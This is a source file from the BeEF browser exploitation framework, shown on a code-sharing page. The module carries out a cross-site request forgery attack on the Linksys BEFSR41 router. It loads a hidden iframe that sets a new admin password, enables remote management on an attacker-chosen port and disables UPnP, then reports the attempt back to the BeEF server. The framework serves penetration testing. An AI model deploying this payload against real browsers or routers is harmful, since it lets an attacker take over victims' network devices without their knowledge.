Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/linksys_befsr41_csrf/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var timeout = 15;
9
10
var befsr41_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
11
befsr41_iframe_<%= @command_id %>.setAttribute('src', '<%= @base %>Gozila.cgi?PasswdModify=1&sysPasswd=<%= @password %>&sysPasswdConfirm=<%= @password %>&Remote_Upgrade=1&Remote_Management=1&RemotePort=<%= @port %>&UPnP_Work=0');
12
13
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
14
15
cleanup = function() {
16
document.body.removeChild(befsr41_iframe_<%= @command_id %>);
17
}
18
setTimeout("cleanup()", timeout*1000);
19
20
});
21
22
23